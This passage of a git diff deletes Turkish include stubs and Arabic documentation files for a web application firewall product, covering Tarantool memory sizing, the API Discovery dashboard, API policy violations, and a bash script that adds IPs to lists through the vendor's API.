"latest-tr/user-guides/events/check-attack.md" \ No newline at end of file diff --git a/docs/tr/user-guides/events/check-incident.md b/docs/tr/user-guides/events/check-incident.md deleted file mode 100644 index c64538aa87..0000000000 --- a/docs/tr/user-guides/events/check-incident.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/events/check-incident.md" \ No newline at end of file diff --git a/docs/tr/user-guides/events/grouping-sampling.md b/docs/tr/user-guides/events/grouping-sampling.md deleted file mode 100644 index 6d58d25e53..0000000000 --- a/docs/tr/user-guides/events/grouping-sampling.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/events/grouping-sampling.md" \ No newline at end of file diff --git a/docs/tr/user-guides/events/overview.md b/docs/tr/user-guides/events/overview.md deleted file mode 100644 index 9039cbf1cb..0000000000 --- a/docs/tr/user-guides/events/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/events/overview.md" \ No newline at end of file diff --git a/docs/tr/user-guides/ip-lists/overview.md b/docs/tr/user-guides/ip-lists/overview.md deleted file mode 100644 index 159e826f08..0000000000 --- a/docs/tr/user-guides/ip-lists/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/ip-lists/overview.md" \ No newline at end of file diff --git a/docs/tr/user-guides/nodes/nodes.md b/docs/tr/user-guides/nodes/nodes.md deleted file mode 100644 index 259acf5419..0000000000 --- a/docs/tr/user-guides/nodes/nodes.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/nodes/nodes.md" \ No newline at end of file diff --git a/docs/tr/user-guides/rules/add-replace-response-header.md b/docs/tr/user-guides/rules/add-replace-response-header.md deleted file mode 100644 index 3b8aca4564..0000000000 --- a/docs/tr/user-guides/rules/add-replace-response-header.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/rules/add-replace-response-header.md" \ No newline at end of file diff --git a/docs/tr/user-guides/rules/configure-overlimit-res-detection.md b/docs/tr/user-guides/rules/configure-overlimit-res-detection.md deleted file mode 100644 index a1233a31fb..0000000000 --- a/docs/tr/user-guides/rules/configure-overlimit-res-detection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/rules/configure-overlimit-res-detection.md" \ No newline at end of file diff --git a/docs/tr/user-guides/rules/rate-limiting.md b/docs/tr/user-guides/rules/rate-limiting.md deleted file mode 100644 index f81fec1af7..0000000000 --- a/docs/tr/user-guides/rules/rate-limiting.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/rules/rate-limiting.md" \ No newline at end of file diff --git a/docs/tr/user-guides/rules/regex-rule.md b/docs/tr/user-guides/rules/regex-rule.md deleted file mode 100644 index 167c2d979c..0000000000 --- a/docs/tr/user-guides/rules/regex-rule.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/rules/regex-rule.md" \ No newline at end of file diff --git a/docs/tr/user-guides/rules/request-processing.md b/docs/tr/user-guides/rules/request-processing.md deleted file mode 100644 index cc7a044861..0000000000 --- a/docs/tr/user-guides/rules/request-processing.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/rules/request-processing.md" \ No newline at end of file diff --git a/docs/tr/user-guides/rules/rules.md b/docs/tr/user-guides/rules/rules.md deleted file mode 100644 index 074909b1cb..0000000000 --- a/docs/tr/user-guides/rules/rules.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/rules/rules.md" \ No newline at end of file diff --git a/docs/tr/user-guides/rules/sensitive-data-rule.md b/docs/tr/user-guides/rules/sensitive-data-rule.md deleted file mode 100644 index 650a71f179..0000000000 --- a/docs/tr/user-guides/rules/sensitive-data-rule.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/rules/sensitive-data-rule.md" \ No newline at end of file diff --git a/docs/tr/user-guides/rules/vpatch-rule.md b/docs/tr/user-guides/rules/vpatch-rule.md deleted file mode 100644 index b89f5a5e56..0000000000 --- a/docs/tr/user-guides/rules/vpatch-rule.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/rules/vpatch-rule.md" \ No newline at end of file diff --git a/docs/tr/user-guides/search-and-filters/custom-report.md b/docs/tr/user-guides/search-and-filters/custom-report.md deleted file mode 100644 index 4468fea4bb..0000000000 --- a/docs/tr/user-guides/search-and-filters/custom-report.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/search-and-filters/custom-report.md" \ No newline at end of file diff --git a/docs/tr/user-guides/search-and-filters/use-search-vuln.md b/docs/tr/user-guides/search-and-filters/use-search-vuln.md deleted file mode 100644 index e8436ea48c..0000000000 --- a/docs/tr/user-guides/search-and-filters/use-search-vuln.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/search-and-filters/use-search-vuln.md" \ No newline at end of file diff --git a/docs/tr/user-guides/search-and-filters/use-search.md b/docs/tr/user-guides/search-and-filters/use-search.md deleted file mode 100644 index 86c8fb679b..0000000000 --- a/docs/tr/user-guides/search-and-filters/use-search.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/search-and-filters/use-search.md" \ No newline at end of file diff --git a/docs/tr/user-guides/settings/account.md b/docs/tr/user-guides/settings/account.md deleted file mode 100644 index abee6d1971..0000000000 --- a/docs/tr/user-guides/settings/account.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/settings/account.md" \ No newline at end of file diff --git a/docs/tr/user-guides/settings/api-tokens.md b/docs/tr/user-guides/settings/api-tokens.md deleted file mode 100644 index 599321ac6f..0000000000 --- a/docs/tr/user-guides/settings/api-tokens.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/settings/api-tokens.md" \ No newline at end of file diff --git a/docs/tr/user-guides/settings/applications.md b/docs/tr/user-guides/settings/applications.md deleted file mode 100644 index f951fdc523..0000000000 --- a/docs/tr/user-guides/settings/applications.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/settings/applications.md" \ No newline at end of file diff --git a/docs/tr/user-guides/settings/audit-log.md b/docs/tr/user-guides/settings/audit-log.md deleted file mode 100644 index 0b3b095446..0000000000 --- a/docs/tr/user-guides/settings/audit-log.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/settings/audit-log.md" \ No newline at end of file diff --git a/docs/tr/user-guides/settings/integrations/amazon-s3.md b/docs/tr/user-guides/settings/integrations/amazon-s3.md deleted file mode 100644 index 42c8122ca8..0000000000 --- a/docs/tr/user-guides/settings/integrations/amazon-s3.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/settings/integrations/amazon-s3.md" \ No newline at end of file diff --git a/docs/tr/user-guides/settings/integrations/azure-sentinel.md b/docs/tr/user-guides/settings/integrations/azure-sentinel.md deleted file mode 100644 index 546b65dd26..0000000000 --- a/docs/tr/user-guides/settings/integrations/azure-sentinel.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/settings/integrations/azure-sentinel.md" \ No newline at end of file diff --git a/docs/tr/user-guides/settings/integrations/datadog.md b/docs/tr/user-guides/settings/integrations/datadog.md deleted file mode 100644 index 9fcde07b80..0000000000 --- a/docs/tr/user-guides/settings/integrations/datadog.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/settings/integrations/datadog.md" \ No newline at end of file diff --git a/docs/tr/user-guides/settings/integrations/email.md b/docs/tr/user-guides/settings/integrations/email.md deleted file mode 100644 index ede6f1ed2e..0000000000 --- a/docs/tr/user-guides/settings/integrations/email.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/settings/integrations/email.md" \ No newline at end of file diff --git a/docs/tr/user-guides/settings/integrations/fluentd.md b/docs/tr/user-guides/settings/integrations/fluentd.md deleted file mode 100644 index ea077201f8..0000000000 --- a/docs/tr/user-guides/settings/integrations/fluentd.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/settings/integrations/fluentd.md" \ No newline at end of file diff --git a/docs/tr/user-guides/settings/integrations/insightconnect.md b/docs/tr/user-guides/settings/integrations/insightconnect.md deleted file mode 100644 index be50e66edb..0000000000 --- a/docs/tr/user-guides/settings/integrations/insightconnect.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/settings/integrations/insightconnect.md" \ No newline at end of file diff --git a/docs/tr/user-guides/settings/integrations/integrations-intro.md b/docs/tr/user-guides/settings/integrations/integrations-intro.md deleted file mode 100644 index 368bf3e0df..0000000000 --- a/docs/tr/user-guides/settings/integrations/integrations-intro.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/settings/integrations/integrations-intro.md" \ No newline at end of file diff --git a/docs/tr/user-guides/settings/integrations/jira.md b/docs/tr/user-guides/settings/integrations/jira.md deleted file mode 100644 index 79fd480794..0000000000 --- a/docs/tr/user-guides/settings/integrations/jira.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/settings/integrations/jira.md" \ No newline at end of file diff --git a/docs/tr/user-guides/settings/integrations/logstash.md b/docs/tr/user-guides/settings/integrations/logstash.md deleted file mode 100644 index 7884142001..0000000000 --- a/docs/tr/user-guides/settings/integrations/logstash.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/settings/integrations/logstash.md" \ No newline at end of file diff --git a/docs/tr/user-guides/settings/integrations/microsoft-teams.md b/docs/tr/user-guides/settings/integrations/microsoft-teams.md deleted file mode 100644 index 0ef6cec7e8..0000000000 --- a/docs/tr/user-guides/settings/integrations/microsoft-teams.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/settings/integrations/microsoft-teams.md" \ No newline at end of file diff --git a/docs/tr/user-guides/settings/integrations/minio.md b/docs/tr/user-guides/settings/integrations/minio.md deleted file mode 100644 index 751b1cd24f..0000000000 --- a/docs/tr/user-guides/settings/integrations/minio.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/user-guides/settings/integrations/minio.md" \ No newline at end of file diff --git a/docs/tr/user-guides/settings/integrations/opsgenie.md b/docs/tr/user-guides/settings/integrations/opsgenie.md deleted file mode 100644 index 534b13bd53..0000000000 --- a/docs/tr/user-guides/settings/integrations/opsgenie.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/settings/integrations/opsgenie.md" \ No newline at end of file diff --git a/docs/tr/user-guides/settings/integrations/pagerduty.md b/docs/tr/user-guides/settings/integrations/pagerduty.md deleted file mode 100644 index 22424b4732..0000000000 --- a/docs/tr/user-guides/settings/integrations/pagerduty.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/settings/integrations/pagerduty.md" \ No newline at end of file diff --git a/docs/tr/user-guides/settings/integrations/servicenow.md b/docs/tr/user-guides/settings/integrations/servicenow.md deleted file mode 100644 index e47b2a6d4c..0000000000 --- a/docs/tr/user-guides/settings/integrations/servicenow.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/settings/integrations/servicenow.md" \ No newline at end of file diff --git a/docs/tr/user-guides/settings/integrations/slack.md b/docs/tr/user-guides/settings/integrations/slack.md deleted file mode 100644 index 388dc592ea..0000000000 --- a/docs/tr/user-guides/settings/integrations/slack.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/settings/integrations/slack.md" \ No newline at end of file diff --git a/docs/tr/user-guides/settings/integrations/splunk.md b/docs/tr/user-guides/settings/integrations/splunk.md deleted file mode 100644 index 67ef201825..0000000000 --- a/docs/tr/user-guides/settings/integrations/splunk.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/settings/integrations/splunk.md" \ No newline at end of file diff --git a/docs/tr/user-guides/settings/integrations/sumologic.md b/docs/tr/user-guides/settings/integrations/sumologic.md deleted file mode 100644 index 574d01a2df..0000000000 --- a/docs/tr/user-guides/settings/integrations/sumologic.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/settings/integrations/sumologic.md" \ No newline at end of file diff --git a/docs/tr/user-guides/settings/integrations/telegram.md b/docs/tr/user-guides/settings/integrations/telegram.md deleted file mode 100644 index 3a56d7d748..0000000000 --- a/docs/tr/user-guides/settings/integrations/telegram.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/settings/integrations/telegram.md" \ No newline at end of file diff --git a/docs/tr/user-guides/settings/integrations/webhook-examples/fluentd-arcsight-logger.md b/docs/tr/user-guides/settings/integrations/webhook-examples/fluentd-arcsight-logger.md deleted file mode 100644 index ca794be116..0000000000 --- a/docs/tr/user-guides/settings/integrations/webhook-examples/fluentd-arcsight-logger.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/settings/integrations/webhook-examples/fluentd-arcsight-logger.md" diff --git a/docs/tr/user-guides/settings/integrations/webhook-examples/fluentd-logstash-datadog.md b/docs/tr/user-guides/settings/integrations/webhook-examples/fluentd-logstash-datadog.md deleted file mode 100644 index 630aecd4c9..0000000000 --- a/docs/tr/user-guides/settings/integrations/webhook-examples/fluentd-logstash-datadog.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/settings/integrations/webhook-examples/fluentd-logstash-datadog.md" diff --git a/docs/tr/user-guides/settings/integrations/webhook-examples/fluentd-qradar.md b/docs/tr/user-guides/settings/integrations/webhook-examples/fluentd-qradar.md deleted file mode 100644 index 11021ef4ad..0000000000 --- a/docs/tr/user-guides/settings/integrations/webhook-examples/fluentd-qradar.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/settings/integrations/webhook-examples/fluentd-qradar.md" \ No newline at end of file diff --git a/docs/tr/user-guides/settings/integrations/webhook-examples/fluentd-splunk.md b/docs/tr/user-guides/settings/integrations/webhook-examples/fluentd-splunk.md deleted file mode 100644 index ed04fd888c..0000000000 --- a/docs/tr/user-guides/settings/integrations/webhook-examples/fluentd-splunk.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/settings/integrations/webhook-examples/fluentd-splunk.md" \ No newline at end of file diff --git a/docs/tr/user-guides/settings/integrations/webhook-examples/logstash-arcsight-logger.md b/docs/tr/user-guides/settings/integrations/webhook-examples/logstash-arcsight-logger.md deleted file mode 100644 index 69e69a3645..0000000000 --- a/docs/tr/user-guides/settings/integrations/webhook-examples/logstash-arcsight-logger.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/settings/integrations/webhook-examples/logstash-arcsight-logger.md" diff --git a/docs/tr/user-guides/settings/integrations/webhook-examples/logstash-qradar.md b/docs/tr/user-guides/settings/integrations/webhook-examples/logstash-qradar.md deleted file mode 100644 index 600a49a951..0000000000 --- a/docs/tr/user-guides/settings/integrations/webhook-examples/logstash-qradar.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/settings/integrations/webhook-examples/logstash-qradar.md" \ No newline at end of file diff --git a/docs/tr/user-guides/settings/integrations/webhook-examples/logstash-splunk.md b/docs/tr/user-guides/settings/integrations/webhook-examples/logstash-splunk.md deleted file mode 100644 index f2db6963a8..0000000000 --- a/docs/tr/user-guides/settings/integrations/webhook-examples/logstash-splunk.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/settings/integrations/webhook-examples/logstash-splunk.md" \ No newline at end of file diff --git a/docs/tr/user-guides/settings/integrations/webhook.md b/docs/tr/user-guides/settings/integrations/webhook.md deleted file mode 100644 index a7109a19c3..0000000000 --- a/docs/tr/user-guides/settings/integrations/webhook.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/settings/integrations/webhook.md" \ No newline at end of file diff --git a/docs/tr/user-guides/settings/users.md b/docs/tr/user-guides/settings/users.md deleted file mode 100644 index 6fa7bb86ee..0000000000 --- a/docs/tr/user-guides/settings/users.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/settings/users.md" \ No newline at end of file diff --git a/docs/tr/user-guides/triggers/triggers.md b/docs/tr/user-guides/triggers/triggers.md deleted file mode 100644 index d53078cb82..0000000000 --- a/docs/tr/user-guides/triggers/triggers.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/triggers/triggers.md" \ No newline at end of file diff --git a/docs/tr/user-guides/vulnerabilities.md b/docs/tr/user-guides/vulnerabilities.md deleted file mode 100644 index 4b7ebc8259..0000000000 --- a/docs/tr/user-guides/vulnerabilities.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/user-guides/vulnerabilities.md" \ No newline at end of file diff --git a/docs/tr/vulnerability-detection/schema-based-testing/explore.md b/docs/tr/vulnerability-detection/schema-based-testing/explore.md deleted file mode 100644 index e2ea5bce39..0000000000 --- a/docs/tr/vulnerability-detection/schema-based-testing/explore.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/vulnerability-detection/schema-based-testing/explore.md" \ No newline at end of file diff --git a/docs/tr/vulnerability-detection/schema-based-testing/overview.md b/docs/tr/vulnerability-detection/schema-based-testing/overview.md deleted file mode 100644 index 011a4b65d9..0000000000 --- a/docs/tr/vulnerability-detection/schema-based-testing/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/vulnerability-detection/schema-based-testing/overview.md" \ No newline at end of file diff --git a/docs/tr/vulnerability-detection/schema-based-testing/setup.md b/docs/tr/vulnerability-detection/schema-based-testing/setup.md deleted file mode 100644 index e08e094baf..0000000000 --- a/docs/tr/vulnerability-detection/schema-based-testing/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/vulnerability-detection/schema-based-testing/setup.md" \ No newline at end of file diff --git a/docs/tr/vulnerability-detection/security-testing-overview.md b/docs/tr/vulnerability-detection/security-testing-overview.md deleted file mode 100644 index b13b5a952f..0000000000 --- a/docs/tr/vulnerability-detection/security-testing-overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/vulnerability-detection/security-testing-overview.md" \ No newline at end of file diff --git a/docs/tr/vulnerability-detection/threat-replay-testing/exploring.md b/docs/tr/vulnerability-detection/threat-replay-testing/exploring.md deleted file mode 100644 index de72ac991f..0000000000 --- a/docs/tr/vulnerability-detection/threat-replay-testing/exploring.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/vulnerability-detection/threat-replay-testing/exploring.md" \ No newline at end of file diff --git a/docs/tr/vulnerability-detection/threat-replay-testing/overview.md b/docs/tr/vulnerability-detection/threat-replay-testing/overview.md deleted file mode 100644 index 52ef839f3a..0000000000 --- a/docs/tr/vulnerability-detection/threat-replay-testing/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/vulnerability-detection/threat-replay-testing/overview.md" \ No newline at end of file diff --git a/docs/tr/vulnerability-detection/threat-replay-testing/setup.md b/docs/tr/vulnerability-detection/threat-replay-testing/setup.md deleted file mode 100644 index d0f403ff7e..0000000000 --- a/docs/tr/vulnerability-detection/threat-replay-testing/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/vulnerability-detection/threat-replay-testing/setup.md" \ No newline at end of file diff --git a/include-ar/access-repo-en.md b/include-ar/access-repo-en.md deleted file mode 100644 index 048dfb102e..0000000000 --- a/include-ar/access-repo-en.md +++ /dev/null @@ -1,4 +0,0 @@ -!!! info "الوصول إلى المستودع" - يجب أن يكون لنظامك وصول إلى `https://repo.wallarm.com` لتحميل الحزم. - - تأكد من عدم حجب الوصول بواسطة جدار حماية. \ No newline at end of file diff --git a/include-ar/allocate-resources-for-waf-node/tarantool-memory-ingress-controller-2.18.md b/include-ar/allocate-resources-for-waf-node/tarantool-memory-ingress-controller-2.18.md deleted file mode 100644 index 866e7742bd..0000000000 --- a/include-ar/allocate-resources-for-waf-node/tarantool-memory-ingress-controller-2.18.md +++ /dev/null @@ -1,36 +0,0 @@ -يتم تكوين ذاكرة Tarantool للقطعة `ingress-controller-wallarm-tarantool` باستخدام الأقسام التالية في ملف `values.yaml`: - -* لضبط الذاكرة بالجيجابايت: - ``` - controller: - wallarm: - tarantool: - arena: "0.2" - ``` - -* لضبط الذاكرة بالـ CPU: - ``` - controller: - wallarm: - tarantool: - resources: - limits: - cpu: 1000m - memory: 1640Mi - requests: - cpu: 1000m - memory: 1640Mi - ``` - -تُضبط القيم المذكورة باستخدام خيار `--set` في أوامر `helm install` و`helm upgrade`، على سبيل المثال: - -=== "تثبيت جهاز التحكم بالوارد" - ```bash - helm install --set controller.wallarm.tarantool.arena='0.4' ingress-chart/wallarm-ingress -n - ``` - - هناك أيضاً [معايير أخرى](../configure-kubernetes-en.md#additional-settings-for-helm-chart) مطلوبة لتثبيت جهاز التحكم بالوارد بشكل صحيح. يُرجى إدخالها في خيار `--set` أيضاً. -=== "تحديث معايير جهاز التحكم بالوارد" - ```bash - helm upgrade --reuse-values --set controller.wallarm.tarantool.arena='0.4' ingress-chart/wallarm-ingress -n - ``` \ No newline at end of file diff --git a/include-ar/allocate-resources-for-waf-node/tarantool-memory-ingress-controller.md b/include-ar/allocate-resources-for-waf-node/tarantool-memory-ingress-controller.md deleted file mode 100644 index 4eb0c0e05e..0000000000 --- a/include-ar/allocate-resources-for-waf-node/tarantool-memory-ingress-controller.md +++ /dev/null @@ -1,36 +0,0 @@ -يتم تكوين ذاكرة Tarantool لوحدة `ingress-controller-wallarm-tarantool` باستخدام الأقسام التالية في ملف `values.yaml`: - -* لضبط الذاكرة بالجيجابايت: - ``` - controller: - wallarm: - tarantool: - arena: "1.0" - ``` - -* لضبط الذاكرة بوحدات CPU: - ``` - controller: - wallarm: - tarantool: - resources: - limits: - cpu: 400m - memory: 3280Mi - requests: - cpu: 200m - memory: 1640Mi - ``` - -يتم تعيين البارامترات المذكورة باستخدام خيار `--set` لأوامر `helm install` و`helm upgrade`، على سبيل المثال: - -=== "تنصيب وحدة التحكم Ingress" - ```bash - helm install --set controller.wallarm.tarantool.arena='0.4' wallarm/wallarm-ingress -n - ``` - - هناك أيضًا [بارامترات أخرى](../configure-kubernetes-en.md#additional-settings-for-helm-chart) مطلوبة لتنصيب وحدة التحكم Ingress بشكل صحيح. يرجى إضافتها أيضًا في خيار `--set`. -=== "تحديث بارامترات وحدة التحكم Ingress" - ```bash - helm upgrade --reuse-values --set controller.wallarm.tarantool.arena='0.4' wallarm/wallarm-ingress -n - ``` \ No newline at end of file diff --git a/include-ar/allocate-resources-for-waf-node/tarantool-memory.md b/include-ar/allocate-resources-for-waf-node/tarantool-memory.md deleted file mode 100644 index 1a275d1392..0000000000 --- a/include-ar/allocate-resources-for-waf-node/tarantool-memory.md +++ /dev/null @@ -1,13 +0,0 @@ -تستخدم Postanalytics التخزين المؤقت Tarantool. يُستخدم قاعدة البيانات Tarantool للاحتفاظ بنسخة محلية من تيار البيانات المعالج بواسطة عقدة التصفية في ذاكرة دائرية، تشمل رؤوس الطلبات/الردود وأجسام الطلبات (لكن ليس أجسام الردود). - -لجعل عقدة التصفية فعالة، يجب أن تحتفظ قاعدة البيانات بما لا يقل عن 15 دقيقة من البيانات المنقولة مع حوالي ضعف الحجم لتسلسل البيانات. اتباعاً لهذه النقاط، يمكن تقدير كمية الذاكرة بالصيغة: - -``` -سرعة معالجة الطلب في الدقيقة بالبايتات * 15 * 2 -``` - -على سبيل المثال، إذا كانت عقدة التصفية تتعامل في ذروتها مع طلبات المستخدم النهائي بسرعة 50 ميغابت في الثانية، يمكن تقدير استهلاك ذاكرة قاعدة البيانات Tarantool كالتالي: - -``` -50 Mbps / 8 (البتات في البايت) * 60 (الثواني في الدقيقة) * 15 * 2 = 11,250 MB (أو ~ 11 GB) -``` \ No newline at end of file diff --git a/include-ar/api-discovery/dashboard.md b/include-ar/api-discovery/dashboard.md deleted file mode 100644 index 48ebb36d49..0000000000 --- a/include-ar/api-discovery/dashboard.md +++ /dev/null @@ -1,18 +0,0 @@ -يوفر لوح التحكم **اكتشاف API** الخاص بـ Wallarm ملخصًا للبيانات حول واجهة برمجة التطبيقات (API) التي جُمعت بواسطة وحدة [**اكتشاف API**][apid-overview]. يُقدم نظرة شاملة على جرد واجهة برمجة التطبيقات الخاصة بك بناءً على المقاييس: - -* عدد نقاط النهاية حسب مستوى الخطر -* نقاط النهاية الأكثر خطورة [الأعلى خطورة][apid-risk-score] ضمن جرد واجهة برمجة التطبيقات بالكامل وبين نقاط النهاية المكتشفة حديثًا في آخر 7 أيام - - تُعتبر نقاط النهاية الأعلى خطورة أكثر عرضة لكونها هدفًا للهجمات بسبب الثغرات الأمنية النشطة، وكون نقاط النهاية [جديدة][apid-track-changes] أو [خفية][apid-rogue]، وعوامل الخطر الأخرى. يُقدم لكل نقطة نهاية خطرة عدد الضربات المستهدفة. - -* عدد واجهات برمجة التطبيقات [الخفية][apid-rogue] (الظل، الزومبي، واليتيمة) المحددة -* التغيرات في واجهة برمجة التطبيقات الخاصة بك في آخر 7 أيام حسب النوع (جديدة، تغيرت، غير مستخدمة) -* العدد الإجمالي لنقاط النهاية المكتشفة وكم منها خارجي وداخلي -* البيانات الحساسة في واجهة برمجة التطبيقات حسب المجموعات (الشخصية، المالية، إلخ.) وحسب الأنواع -* جرد واجهة برمجة التطبيقات: عدد نقاط النهاية حسب مُضيف الـ API والتطبيق - -![قطعة اكتشاف API][img-api-discovery-widget] - -يمكن للوحة التحكم الكشف عن الشذوذ، مثل نقاط النهاية الخطرة المستخدمة بكثرة أو حجم البيانات الحساسة الكبير الذي تنقله واجهة برمجة التطبيقات الخاصة بك. بالإضافة إلى ذلك، يُلفت الانتباه إلى التغييرات في واجهة برمجة التطبيقات التي يجب أن تفحصها دائمًا لاستبعاد مخاطر الأمان. هذا يساعدك على تنفيذ ضوابط الأمان لمنع نقاط النهاية من كونها أهدافًا للهجمات. - -اضغط على عناصر القطعة للذهاب إلى قسم **اكتشاف API** وعرض البيانات المُفلترة. إذا نقرت على عدد الضربات، سيتم توجيهك إلى [قائمة الهجمات][check-attack] ببيانات الهجوم لآخر 7 أيام. \ No newline at end of file diff --git a/include-ar/api-policies-enforcement/api-policies-violations.md b/include-ar/api-policies-enforcement/api-policies-violations.md deleted file mode 100644 index 676601e464..0000000000 --- a/include-ar/api-policies-enforcement/api-policies-violations.md +++ /dev/null @@ -1,12 +0,0 @@ -* **طلب نقطة نهاية غير محددة** - الطلب يستهدف نقطة نهاية غير مقدمة في مواصفاتك -* **طلب نقطة نهاية بمعامل غير محدد** - الطلب يحتوي على معامل غير مقدم لهذه النقطة في مواصفاتك -* **طلب نقطة نهاية بدون معامل مطلوب** - الطلب لا يحتوي على المعامل أو قيمته المعلمة كمطلوبة في مواصفاتك -* **طلب نقطة نهاية بقيمة معامل غير صحيحة** - قيمة معامل الطلب لا تتوافق مع نوعه/تنسيقه المحدد بمواصفاتك -* **طلب نقطة نهاية بدون طريقة توثيق** - الطلب لا يحتوي على معلومات حول طريقة التوثيق -* **طلب نقطة نهاية بـ JSON غير صالح** - الطلب يحتوي على JSON غير صالح - -يمكن للنظام أن يقوم بالإجراءات التالية في حال وجود عدم اتساق: - -* **حظر** - حظر الطلب ووضعه في قسم [**الهجمات**](../user-guides/events/check-attack.md) كمحظور -* **مراقبة** - تمييز الطلب على أنه غير صحيح، لكن دون حظره، ووضعه في قسم **الهجمات** كمراقب -* **غير متابع** - عدم القيام بأي شيء \ No newline at end of file diff --git a/include-ar/api-request-examples/add-ips-to-lists-from-file.md b/include-ar/api-request-examples/add-ips-to-lists-from-file.md deleted file mode 100644 index 2e86b95223..0000000000 --- a/include-ar/api-request-examples/add-ips-to-lists-from-file.md +++ /dev/null @@ -1,96 +0,0 @@ -=== "السحابة الأمريكية" - ```bash - #!/bin/bash - - UUID="" - SECRET="" - CLIENT="" - LIST="" - PATH_TO_CSV_FILE="" # مسار الملف بصيغة CSV الذي يحتوي على IPs أو شبكات فرعية - APPLICATIONS="" - REMOVE_DATE="TIMESTAMP_REMOVE_DATE" - REASON='' - API="us1.api.wallarm.com" - - - index=0 - while read line; do - subnets[$index]="$line" - index=$(($index+1)) - done < "$PATH_TO_CSV_FILE" - - - for i in ${subnets[@]}; do - currentDate=`date -u +%s` - time=$REMOVE_DATE - remove_date=$(($currentDate+$time)) - - curl -X POST \ - https://$API/v4/ip_rules \ - -H "Content-Type: application/json" \ - -H "X-WallarmApi-Token: " \ - -d '{ - "clientid": '$CLIENT', - "ip_rule": { - "list": "'$LIST'", - "rule_type": "ip_range", - "subnet": "'$i'", - "expired_at": '$remove_date', - "pools": [ - '$APPLICATIONS' - ], - "reason": "'"$REASON"'" - }, - "force": false - }' - - done - ``` -=== "السحابة الأوروبية" - ```bash - #!/bin/bash - - UUID="" - SECRET="" - CLIENT="" - LIST="" - PATH_TO_CSV_FILE="" # مسار الملف بصيغة CSV الذي يحتوي على IPs أو شبكات فرعية - APPLICATIONS="" - REMOVE_DATE="TIMESTAMP_REMOVE_DATE" - REASON='' - API="api.wallarm.com" - - - index=0 - while read line; do - subnets[$index]="$line" - index=$(($index+1)) - done < "$PATH_TO_CSV_FILE" - - - for i in ${subnets[@]}; do - currentDate=`date -u +%s` - time=$REMOVE_DATE - remove_date=$(($currentDate+$time)) - - curl -X POST \ - https://$API/v4/ip_rules \ - -H "Content-Type: application/json" \ - -H "X-WallarmApi-Token: " \ - -d '{ - "clientid": '$CLIENT', - "ip_rule": { - "list": "'$LIST'", - "rule_type": "ip_range", - "subnet": "'$i'", - "expired_at": '$remove_date', - "pools": [ - '$APPLICATIONS' - ], - "reason": "'"$REASON"'" - }, - 